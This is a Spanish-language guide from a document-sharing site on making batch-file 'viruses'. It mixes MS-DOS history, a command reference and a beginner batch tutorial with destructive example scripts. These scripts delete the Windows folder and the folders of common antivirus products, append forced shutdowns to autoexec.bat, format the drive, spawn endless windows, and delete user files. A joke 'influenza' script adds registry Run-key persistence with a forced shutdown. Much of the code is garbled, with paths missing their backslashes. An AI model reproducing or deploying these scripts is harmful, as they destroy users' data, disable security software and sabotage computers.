guia batch

Upload: washi123

Post on 19-Jul-2015

80 views

Category:

Documents


1 download

TRANSCRIPT

Guia Para Hacer "Virus" En BatchAnuncios Google

Vaporella Mexicowww.vaporella.com.mx - Servicio, Reparacion y Venta Limpieza a vapor 120

IntroduccinBueno comensare disiendo que no son virus como la mayoria de la gente piensa son archivos con comandos del sistema, a continuacion pondre un poco de informacion de distintas fuentes: El Sistema Operativo MS-DOS (MicroSoft Disk Operating System), tiene el origen en el QDOS (Quick and Dirty Operating System) sistema operativo escrito por Tim Paterson para la Seattle Computer Products y comercializado bajo la denominacin 86-DOS. Se desarroll para micro-ordenadores personales de 16 bits. Se dise como un clon a corto plazo del sistema operativo CP/M, que estaba operativo en los ordenadores con microprocesador de 8 bits, para dar compatibilidad con la base instalada existente de programas comerciales como WordStar y dBase. Cuando IBM encarg a Microsoft un sistema operativo para su entonces novedoso IBM PC, Microsoft se vio incapaz de cumplir los plazos y compr el QDOS a sus propietarios, saliendo al mercado en dos versiones: PC-DOS (versin de IBM) y MS-DOS (versin de Microsoft). El MS-DOS fue el producto clave, a finales de los aos ochenta del siglo XX, en la transformacin de Microsoft desde sus orgenes en los aos 70 como proveedor especializado en lenguajes de programacin a su actual estado como gigante en la industria informtica. Precisamente los ingresos por las ventas de MS-DOS (particularmente mediante contratos exclusivos con marcas, probados como ilegales en Estados Unidos ms tarde) [cita requerida] hicieron posible un espectacular crecimiento de la compaa. De hecho, hasta la salida de Windows 95, los ingresos por MS-DOS eran superiores a los de Windows. Con el tiempo MS-DOS imit otros sistemas operativos; MS-DOS 2.0 introdujo caractersticas de Unix tales como subdirectorios, es decir, estructura jerrquica y redireccin de entrada/salida de rdenes y tuberas (en ingls pipe). MS-DOS no es multiusuario o multitarea, pero se hicieron muchos intentos para agregarle estas capacidades en un futuro. Muchos programas utilizaron la tcnica terminar y permanecer residente o TSR (Terminate and Stay Resident) y otras funciones normalmente indocumentadas para proporcionar aplicaciones pop up incluyendo el popular Sidekick de Borland. Es en modo texto, sin ninguna apariencia grfica, a travs de comandos. Gestiona perifricos y memoria. Entornos aadidos como DesqView intentaron proporcionar caractersticas multitarea, logrando cierto grado de xito al combinarse con la administracin de memoria del hardware del procesador Intel 80386.

Tras la aparicin del Apple Macintosh en 1984, el pblico se interes por la interfaz de usuario grfica o GUI (Graphical User Interface), aunque el primer entorno grfico fue el Alto de Xerox en 1973, basado en un sistema operativo propio. Muchos programas crearon sus propias interfaces grficas, como Microsoft Word para DOS, XTree y el Norton Shell. Sin embargo, esto exiga duplicar esfuerzos y no proporcionaba mucha consistencia, lo que hizo crear entornos GUI completos. As, IBM y Microsoft se aliaron en un proyecto llamado OS/2, originalmente una versin en modo protegido de MS-DOS con una GUI, pero Microsoft pronto abandon el proyecto para concentrar sus recursos en Windows. Por su parte, Digital Research cre el entorno GEM sin alcanzar mucha popularidad. Finalmente, tanto el OS/2 como el GEM se abandonaron, al parecer por contratos de exclusividad de Microsoft con vendedores de hardware de ordenadores. En teora, hasta Windows 95, Windows no era un sistema operativo, sino una shell o capa que se interpona entre el usuario y el MS-DOS para facilitar su utilizacin. No obstante, hay expertos que alargan esta transformacin hasta el Windows NT - Windows XP. Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin embargo la consola de comando del sistema permite acceder a un entorno de texto con casi los mismos comandos de MS-DOS. Las primeras versiones de Windows podan ejecutar programas para MS-DOS. Las ltimas versiones de DOS "extendidas" usaban el modo protegido. Las ltimas versiones de Windows se ejecutan independientemente de DOS pero incluyen una parte importante de viejo cdigo que puede ejecutarse en mquinas virtuales (virtual machines). Un juez de Seattle ha decretado que el software que sirvi de autntica base para el MSDos, el primer sistema operativo de Microsoft, no fueron ideadas por Tim Paterson, como hasta ahora se afirmaba, sino por el fallecido Gary Kildall. Gracias a este fallo judicial se ha podido restaurar la reputacin de este ingeniero de software, ninguneado hasta ahora en los anales de la historia de la computacin.

Como Crear Estos ArchivosBueno para empezar estos archivos se crean con Documentos de texto (.txt) y luego le cambian el nombre pasando a ser batch (.bat), estos deven empezar mas o menos asi:

@echo off

Y a continuacin los comandos que quiere poner.

Comandos Del SistemaA continuacin pondr una Lista de muchos de los comandos que existen:

CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos archivos de texto, empezando por los llamados "archivos de sistema, que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory, creacin de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6. SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la versin 6.2. Aca estan los demas para los que quieren saber mas del dos ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device= APPEND - Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de archivos de comandos. ASSIGN - Enva el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al primero. Ya no existe en el DOS 6.

BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando era uno de los ms difciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms simple que existe. BAT - Extensin especfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automticamente cuando usted pone su computadora en funcionamiento. BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Control + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - Seleccin de las tablas de cdigos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia batch. CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeo e interesante que conviene recordar. COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS. CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta automticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptndolo al pas.

DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresin puede variar normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operacin. DEVICE - Instala un driver de perifrico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, va el config.sys. DOS - Establece un vnculo entre la memoria convencional y la memoria superior a travs del config.sys. DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos. DOSSHELL- Llama a la superestructura de dilogo del DOS. Este dos shell ha sido suprimido en la versin DOS 6.2 ya que Microsoft consider que haba sido reemplazado ventajosamente por el Administrador de archivos de ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys.

DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que ser mostrado en pantalla en todos los casos. EMM386 - Sirve de soporte a la memoria expandida. EMM386.EXE - Simula la memoria expandida en la memoria extendida, a travs del Config.sys. ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que se escribe ms rpido. ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe ms en los DOS 6, est destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayora de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5. FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin. FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los ltimos que se han utilizado, memorizando su camino de acceso. FC - Comparacin de archivos. No est disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y enva al perifrico activo de salida (el monitor, por ejemplo) todas las lneas en las que la encontr. FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamiento incondicional a una lnea marcada con un rtulo del

mismo nombre en un archivo .BAT. GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la visualizacin en pantalla. No existe ms en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos, de cdigos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecucin condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versin 6. INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6. JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6. KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA). LABEL - Crea, modifica o suprime el nombre atribuido a un disco. LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys. LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH. LINK- Llama al editor de conexiones. LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde el DOS 5. Otro nombre: LH. MACROS - Realizacin de macros con Doskey.

MEM - Muestra en pantalla la memoria ocupada y la disponible. MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6. MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys. A partir del DOS 6. MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6. MENUITEM - A partir del DOS 6. Define un tem del men de arranque. MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5. MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory, creacin de un directorio. MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y conexiones en serie, y tambin sirve para la preparacin de las tablas de cdigos. MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla) MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6. MSAV - Programa antivirus. A partir del DOS 6. MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6. MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6. NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function. Da informaciones complementarias sobre los pases y prepara el uso de las tablas de cdigos con CHCP NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del Config.Sys. Nuevo comando a partir del DOS 6. PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat. PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como mximo. POWER - Pone en servicio o saca de servicio la administracin del consumo de energa. Nuevo comando a partir del DOS 6.

POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6. PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla. PRINTER.SYS - Se utiliza para conmutar las tablas de cdigos con las impresoras, a travs del Config.Sys. PROMPT - Define o muestra en pantalla los smbolos del sistema utilizados por el DOS. RAMDRIVE - Instala un disco virtual, a travs del Config.Sys. RD - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR. RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6. REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por lnea de REM. REN - Cambia el nombre de un archivo. RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms largo de escribir. REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco destinatario. RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad. RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las marcas . y ..). El nombre abreviado es RD. SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido de su equivalencia. SETVER - Declara las versiones del DOS para algunas aplicaciones. SETVER.EXE - Administrador de SETVER. SHARE - Instala el programa para compartir archivos. SHELL - Instala un procesador de comandos. SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en

las lneas de comando, marcando una diferencia de una posicin para cada SHIFT que se introduce. SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6. SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6. SMARTDRV - Creacin de la antememoria de disco SmartDrive. SMARTDRV.EXE - Administrador de SmartDrv. SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive. SORT - Ordena datos. STACKS - Define las pilas, a travs del Config.Sys. SUBMENU - Define un tem del men de arranque abriendo un submen. Nuevo comando del DOS 6. SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco ficticia que bastar con llamar luego. SWITCHES - Sustituye el teclado extendido por el teclado convencional. SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario. TEMP - Variable de entorno. TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados). TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria). TYPE - Muestra en pantalla el contenido de un archivo. UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5. UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5. VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6. VER - Muestra en pantalla la versin activa del DOS. VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos

escritos en el disco. VOL- Muestra en pantalla el nombre del disco solicitado. VSAFE - Residente antivirus. XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente que puede servir incluso para efectuar copias de seguridad.

Variables De Windows%COMPUTERNAME% = Nombre de host. %SYSTEMROOT% = Carpeta de administracin Normalmente c:windows %TEMP% = directorio donde se encuentran los archivos temporales %WINDIR% = directorio de windows. %USERNAME% = usuario con el que se inicio sesin %USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin %PROGRAMFILE% = directorio donde se encuentran los archivos de programas %OS% = muestra el sistema operativo que estamos ejecutando %LOGONSERVER% = nombre de nuestro server (mihost) Para ver el contenido de estas variables escriban en cmd.exe echo %NOMBREDELAVARIABLE%

Ejemplos De ComandosPara Reiniciar es:

@echo off shutdown -r -t 10

(el numero indica el tiempo para reiniciar en segundos)

Para Apagar es:

@echo off

shutdown -s -t 10 Para eliminar algo con tan solo poner el nombre: @echo off CD DURECTORIO DEL /q /f /s NOMBRE Para Cambiar la IP: @echo off cd ipconfig/release ipconfig/renew Para Abrir una pagina o un archivo es: @echo off start www.taringa.net @echo off start NOMBREDEARCHIVO Este elimina el Windows: @echo off del /s /f /q c:windows exit

Este elimina los Antivirus mas comunes:

@echo off cls cd cd "archivos de programa" cd "Norton antivirus" attrib -R -A -S -H *.* del /S /Q *.* cd.. cd "Panda Software" attrib -R -A -S -H *.* del /S /Q *.* cd.. cd "Kaspersky Lab" attrib -R -A -S -H *.* del /S /Q *.*

cd.. cd "McAfee.com" attrib -R -A -S -H *.* del /S /Q *.* cls Este Hase Que Cada Ves que se enciende la PC se apage: @echo off echo shutdown -s -f -t 0 >> c:autoexec.bat cls Este formatea la pc: @echo off cls s | format c: -s -f -t 0 >> c:autoexec.bat

Parametros ShutdownEs un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no. Parametro -s y -t El parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. En el ejemplo de antes pusimos 1 segundo. otros parametros de shutdown: shutdown -r = Reinicia shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario" shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m nombredehost shutdown -f = fuerza el cierre de las aplicaciones.

Los BucleAlguna ves has visto u observado algun archivo que se abre infinitas veces que tu solo puede desenchufar o apagar forzosamente el pc? Bueno eso es un Bucle, el comando es muy facil: @echo off :bucle start cmd.exe start calc.exe start notepad.exe goto bucle (Este abre infinitas ventanas de comandos, calculadoras, y bloc de notas)

Mas ejemplos de virusPara Borrar los Archivos .jpg y .exe del PC: @echo off cd del *.jpg /q del *.exe /q shutdown -l shutdown s exit Creacion De Carpetas Para Crear una carpeta el comando es: @echo off md "c:NOMBREDECARPETA" attrib + "C:NOMBREDECARPETA" El + que esta adelante del attrib, son los "atributos" de la carpeta, por asi desirles, +s : Solo Lectura (bloqueado)

+r : Solo Lectura y oculto +A : Solo Lectura (normal) +h : Solo Lectura Y oculto

A esta Carpeta Puedes hacer que se le pueda conocer como Disco local (I para crear a este Disco es:

, el comando

subst I: "C:NOMBREDECARPETA"

Asi que por ejemplo queremos tener un disco local (I

, (no vayan a creer eso es una

simple carpeta con forma de disco virtual) quedaria mas o menos asi: @echo off md "c:NOMBREDECARPETA" attrib +r "C:NOMBREDECARPETA" subst I: "C:NOMBREDECARPETA"

Ahi podras ver tu disco virual (I , este se elimina con eliminar o mover la carpeta con el atributo +r que fue creada en el lugar del archivo batch.

Guia Para Crear Programas En BatchPues bien, abramos el bloc de notas, y vamos a empezar viendo los comandos que encontraremos en todo lenguaje batch. El lenguaje batch siempre empieza con el comando "@echo off" y termina con el comando "exit". De esta forma en la primera lnea de nuestro programa vamos a tener el comando "@echo off", y cuando el programa ejecute el comando "exit", que no tiene por qu estar al final, el programa se cerrar. Adems le tenemos que poner un ttulo a nuestro programa, que aparecer en la barra de arriba del mismo. Este ttulo se pone con el comando "title ttulo" (y donde pone ttutlo pondramos el ttutlo del programa). A este primer programa le vamos a llamar "Primer programa", por lo que nuestro cdigo va as: @echo off title Primer programa exit Comandos de texto (echo) y pause Vamos a empezar con un programa que haga algo bsico, y eso bsico es mostrarnos frases, texto. Pues bien, para mostrar texto tenemos dos comandos principales: 1.echo texto El comando echo seguido de un texto cualquiera nos permite hacer que se muestre ese texto en la ventana de nuestro programa. 2.echo. El comando echo. (con el punto incluido) nos permite hacer un salto de lnea en el texto del programa, como si pulsramos la tecla enter en cualquier programa de texto. De esta forma si queremos que nuestro primer programa tenga un primer prrafo en el que ponga "Este es el primer parrafo." y un segundo en el que ponga "Este es el segundo parrafo. Un poquito mas largo." tendramos nuesto cdigo as: @echo off title Primer programa echo Este es el primer parrafo. echo. echo Este es el segundo parrafo. Un poquito mas largo. exit Ahora quiero remalcar dos cosas. La primera es que no podemos usar tildes ni ees en el texto que se muestra en el programa. La segunda es que teniendo en cuenta la estructura del programa que hemos hecho habr un problema, y es que como se ejecutar todo del tirn llegar al comando exit sin pausa alguna y no te dar tiempo a leer el texto que ponga, por lo que vamos a insertar pausas en el programa. Los comandos de pausa son los siguiente: 1.pause El comando pause pausa el programa hasta que pulses una tecla y te muestra un mensaje que dice "Presione una tecla para continuar".

2.pause >nul El comando pause >nul pausa el programa pero sin mostrar ningn mensaje de aviso. Vamos a probar estos dos comandos, poniendo un pause >nul entre los dos prrafos y un pause despus del segundo: @echo off title Primer programa echo Este es el primer parrafo. echo. pause >nul echo Este es el segundo parrafo. Un poquito mas largo. pause exit Ejecutar el programa Para poder probar nuestro programa tenemos que ejecutarlo, para lo que hay que guardarlo en formato bat. Esto lo hacemos dndole a guardar como y poniendo el nombre que queramos terminado en .bat, por ejemplo "programa.bat". Entonces nos aparecer el archivo con el icono de un engranaje, y ese ser nuestro programa que podremos abrir para ver el resultado. Para poder editar posteriormente nuestro programa le daremos un clic derecho y a editar.

Colores. Trabajando con variables.Cambiar colores Antes de empezar con una de las herramientas ms usadas de la programacin como son las variables vamos a aprender a cambiar los colores tanto del texto en nuestro programa como del fondo. Para ello usaremos el cdigo color numeroletra, y donde pone numero pondremos el color de fondo de la ventana del programa y donde pone letra el color del texto. Las correspondencias entres los nmeros y letras y los colores son las siguientes: 0 = Negro 1 = Azul 2 = Verde 3 = Aguamarina 4 = Rojo 5 = Prpura 6 = Amarillo 7 = Blanco 8 = Gris 9 = Azul claro A = Verde claro B = Aguamarina C = Rojo D = Prpura E = Amarillo F = Blanco Vamos a hacer por ejemplo que en nuestro primer programa al principio se ponga el fondo rojo y las letras amarillas, y que cuando vaya a aparecer el segundo prrafo aparezca el fondo negro y las letras color aguamarina. @echo off

title Primer programa color 4E echo Este es el primer parrafo. echo. pause >nul color 0B echo Este es el segundo parrafo. Un poquito mas largo. pause exit Qu es una variable? Una vriable es una entidad informtica a la que le asignamos un nombre, por ejemplo var1, var2 o pepe, y a la que le asignamos tambin un valor, que puede ser numrico o con letras. Las variables se suelen usar para hacer operaciones entre valores numricos, o para recordar datos que diga el usuario. Por poneros un ejemplo, podemos hacer que el programa pregunte un nmero al usuario, que guarde ese nmero en una variable, que le pregunte otro y que lo guarde en otra variable, y que luego cree otra variable que sea la media de las otras dos variables. Esta sera la forma de hacer la media entre dos nmero cualquiera. Crear variables Para crear una variable usamos el comando set var=algo, siendo lo que est en rogo el nombre de la variable, y lo que est en verde el valor que le asignamos a la misma. Algo importante es que cuando queramos hacer referencia a una variable tendremos que ponerla entre signos %. De esta forma si queremos mostrar en pantalla una variable que se llame var tendremos que poner el cdigo echo %var%. Al igual hay que tener en cuenta que si asignas un valor a una variable que ya exista esa vriable tendr el valor que se le asign ltimo. Asignar un valor fijo a una variable no tiene mucha utilidad. Algo que tiene ms utilidad es hacer una pregunta al usuario y lo que responda ser el valor de la variable. Esto ltimo se hara usando el comando set/p var=pregunta De esta forma podemos hacer un programa que te pregunte el nombre y los dos apellidos y luego lo muestre todo seguido de la siguiente forma: @echo off title Nombre y apellidos set/p nombre=Cual es tu nombre? set/p apellido=Cual es tu primer apellido?

set/p apellido2=Cual es tu segundo apellido? echo. echo Tu nombre completo es %nombre% %apellido% %apellido2% pause >nul exit Por ltimo vamos a aprender a hacer operaciones con las variables. Para hacer operaciones usamos el comando siguiente: set/a var1= %var2% signo %var3% Lo que est en rojo es la variable en la que guardar el resultado, las variables verdes son las que opera, y donde pone signo pondremos un + si queremos sumar, - para restar, * para multiplicar o / para dividir. Un ejemplo sera: set/a var= %var1% / %var2% Eso lo que hace es dividir las dos variables. Tambin podemos haces operaciones con una variable y un nmero, por ejemplo: set/a var= %var1% * 2 Este ltimo multiplica la variable var1 por dos. Sabiendo esto vamos a hacer el programa que hace la media de dos nmeros. Tenemos que hacer que le pregunte los dos nmeros, y luego que los sume y acto seguido los divida entre dos (en las operaciones podemos poner parntesis para indicar el orden, en el ejemplo lo vereis mejor). De esta forma nuestro programa quedara as: @echo off title Hacer media de dos numeros set/p num1=Cual es el primer numero? set/p num2=Cual es el segundo numero? set/a media= (%num1% + %num2%) / 2 echo. echo La media es %media% pause >nul exit He de remalcar que en una variable numrica no puede haber nmeros decimales, los quita directamente, por lo que si la media saliera por ejemplo 2,5 el programa te dir que la media es 2. Este es un programa hecho por terceros que podra servir de ejemplo (su funcion es crear el Disco Duro Virtual) (Eso que explique en las carpetas) @echo off :menu cls color b title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs echo. echo BIENVENIDO %USERNAME% ECHO.

ECHO ELIJE UNA OPCION... ECHO. ECHO ======================================== === ECHO = 1. CREAR UN DISCO DURO VIRTUAL == ECHO = 2. BORRAR EL DISCO DURO VIRTUAL == ECHO = 3. SALIR == ECHO ======================================== === ECHO. SET /P ver= QUE DESEA HACER? if %ver%==1 goto crear if %ver%==2 goto bo if %ver%==3 goto salir :crear md "c:disco duro extra" attrib +h "C:disco duro extra" subst I: "C:disco duro extra" msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE goto menu :bo attrib -h "C:disco duro extra" rd "c:disco duro extra" subst I: /d msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE goto menu :salir msg * GRACIAS POR USAR MI PROGRAMA... exit Frikipedia "Como Crear Un Virus"

Tienen Comandos Exagerados y a la ves chistosos como Influenza porcina. Aqui esa parte:

------------------------------------------------------------------------------------------------------------------------------Fabricacin del virusAbre bloc de notas Pon esto: CD %systemroot%system32 @echo echo off >>influenza.bat

echo shutdown -s -f -t 10 >>influenza.bat echo exit >>influenza.bat red add hklm softwaremicrosoftwindowscurrentversionrun/v influenza.bat/t reg_sz/d c:windowssystem32influenza.bat/f msg * JAJAJAJAJAJAJAJAJAJAJAJA!!! msg * TE JODISTES POR XXXPAULXXX msg * MUERTE DE ORDENADOR msg * INFLUENZA msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * MUERTE DE ORDENADOR msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU

msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * ACHU msg * INFLUENZA msg * BYE BYE start influenza.bat exit Lo guardas como influenza.bat

1.En lugar de XXXPAULXXX puedes poner tu nick preferido 2.Se tiene el mismo efecto si alguien infectado de influenza porcina estornuda sobre el

disco duro de un ordenador Modo de propagacinQue no acabas de leer los anteriores?, usa alguno de los mtodos

antes nombrados (ojo: debe llamarse "influenza.bat"

ConclusinAhora que sabes fabricar virus, te deseo una feliz dominacin mundial. Por cierto, he encontrado un juego chulsimo con msica to guapa y tias en bolas. El juego puedes descargarlo de aqu: www.unapginallenademuchisimosvirushastahoygan.com -----------------------------------------------------------------------------------------------------------------------------Aqui esta el link de esa pagina "para que puedas conoser de este """""virus"""""" y otros" http://www.frikipedia.es/friki/Frikilibro:Gu %C3%ADa_frikipedista_para_crear_tu_propio_virus -----------------------------------------------------------------------------------------------------------------------------Bueno Hasta aqui llego el post, Comenten y puntuen.

Broma para PCAnuncios Google

